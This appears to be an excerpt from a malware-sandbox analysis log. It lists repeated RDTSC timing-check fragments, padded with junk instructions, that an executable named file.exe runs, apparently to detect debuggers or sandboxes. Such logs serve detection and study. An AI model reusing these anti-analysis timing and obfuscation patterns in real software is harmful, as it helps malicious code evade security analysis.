Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AAF4 second address: 97AB01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jg 00007F988D0B0286h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AB01 second address: 97AB11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F988C7CE316h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97ADA5 second address: 97ADC9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F988D0B0286h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F988D0B0292h 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97ADC9 second address: 97ADCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97ADCD second address: 97ADF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jnp 00007F988D0B02A9h 0x0000000d pushad 0x0000000e jmp 00007F988D0B0299h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AF44 second address: 97AF4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B098 second address: 97B0A2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B0A2 second address: 97B0A8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B0A8 second address: 97B0AF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 983B88 second address: 983B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F988C7CE316h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 981D8A second address: 981D97 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 981D97 second address: 981D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9820A5 second address: 9820BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F988D0B0292h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9820BC second address: 9820D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F988C7CE323h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9820D8 second address: 9820DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9820DC second address: 9820FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F988C7CE326h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9820FF second address: 982111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F988D0B028Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982431 second address: 982435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982435 second address: 98243B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98243B second address: 98244B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jp 00007F988C7CE316h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98244B second address: 98244F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98244F second address: 982481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F988C7CE31Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F988C7CE31Fh 0x00000013 ja 00007F988C7CE31Ch 0x00000019 jng 00007F988C7CE316h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982481 second address: 982493 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988D0B028Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982493 second address: 9824A7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 js 00007F988C7CE316h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F988C7CE329h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98278F second address: 9827C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0295h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jbe 00007F988D0B0286h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F988D0B0295h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9827C9 second address: 9827CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9827CD second address: 9827D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9827D3 second address: 9827D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982A3D second address: 982A5D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F988D0B0294h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982A5D second address: 982A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F988C7CE316h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982D7B second address: 982D7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9832C0 second address: 9832C6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9832C6 second address: 9832CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9832CC second address: 9832EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988C7CE324h 0x00000009 jns 00007F988C7CE316h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9832EA second address: 983317 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F988D0B0286h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b je 00007F988D0B0286h 0x00000011 jmp 00007F988D0B0293h 0x00000016 pop esi 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 983317 second address: 98331B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98331B second address: 983352 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F988D0B028Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c ja 00007F988D0B0286h 0x00000012 jmp 00007F988D0B0298h 0x00000017 push edx 0x00000018 pop edx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9835FA second address: 983605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F988C7CE316h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 983605 second address: 98360B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98360B second address: 983611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 983611 second address: 983615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9838CA second address: 9838E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jp 00007F988C7CE31Eh 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9838E2 second address: 9838F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 ja 00007F988D0B0292h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9838F1 second address: 9838F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BE12 second address: 98BE16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BE16 second address: 98BE2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F988C7CE31Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BF89 second address: 98BF8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BF8D second address: 98BF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F988C7CE316h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BF9D second address: 98BFA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BFA3 second address: 98BFA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 994218 second address: 99421E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99421E second address: 994226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 994226 second address: 99422A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99422A second address: 994233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992335 second address: 992339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992339 second address: 99233D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99233D second address: 99235B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F988D0B0295h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9924AB second address: 9924C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE329h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9924C8 second address: 9924CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9924CE second address: 9924DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F988C7CE31Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9924DF second address: 9924E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9924E3 second address: 9924EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99279C second address: 9927A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992A4A second address: 992A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992A4E second address: 992A52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992A52 second address: 992A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992A58 second address: 992A5D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992BAA second address: 992BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F988C7CE31Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992BBD second address: 992BDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0298h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992E96 second address: 992E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992FF9 second address: 992FFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992FFD second address: 993009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F988C7CE316h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993009 second address: 993020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988D0B0293h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99317B second address: 993187 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993187 second address: 99318D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99318D second address: 993191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993191 second address: 993197 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993197 second address: 9931AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F988C7CE316h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9931AA second address: 9931B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99396C second address: 993970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993970 second address: 993993 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F988D0B0286h 0x00000008 jmp 00007F988D0B0296h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99B611 second address: 99B617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99B617 second address: 99B61B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99B61B second address: 99B647 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F988C7CE328h 0x0000000c jo 00007F988C7CE316h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99B647 second address: 99B64B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99B64B second address: 99B64F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99B64F second address: 99B65D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F988D0B028Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99B0B1 second address: 99B0B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99B1E3 second address: 99B222 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B028Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F988D0B0290h 0x00000010 pop edi 0x00000011 jng 00007F988D0B02A0h 0x00000017 push edx 0x00000018 jmp 00007F988D0B0292h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A869A second address: 9A86A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A86A0 second address: 9A86A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A86A4 second address: 9A86E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F988C7CE31Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F988C7CE31Ah 0x00000011 jmp 00007F988C7CE31Fh 0x00000016 jmp 00007F988C7CE325h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A86E4 second address: 9A8714 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0298h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F988D0B029Eh 0x0000000f jns 00007F988D0B0288h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A885D second address: 9A8862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE8B6 second address: 9AE8BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE8BC second address: 9AE8C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnl 00007F988C7CE31Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE8C9 second address: 9AE8CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE8CD second address: 9AE8F4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F988C7CE31Eh 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007F988C7CE316h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 je 00007F988C7CE31Ch 0x00000019 jc 00007F988C7CE316h 0x0000001f jnl 00007F988C7CE322h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE8F4 second address: 9AE902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F988D0B0286h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE902 second address: 9AE908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEA39 second address: 9AEA45 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F988D0B0286h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEA45 second address: 9AEA4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B36EC second address: 9B36F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C22A5 second address: 9C22AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F988C7CE316h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C22AF second address: 9C22B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
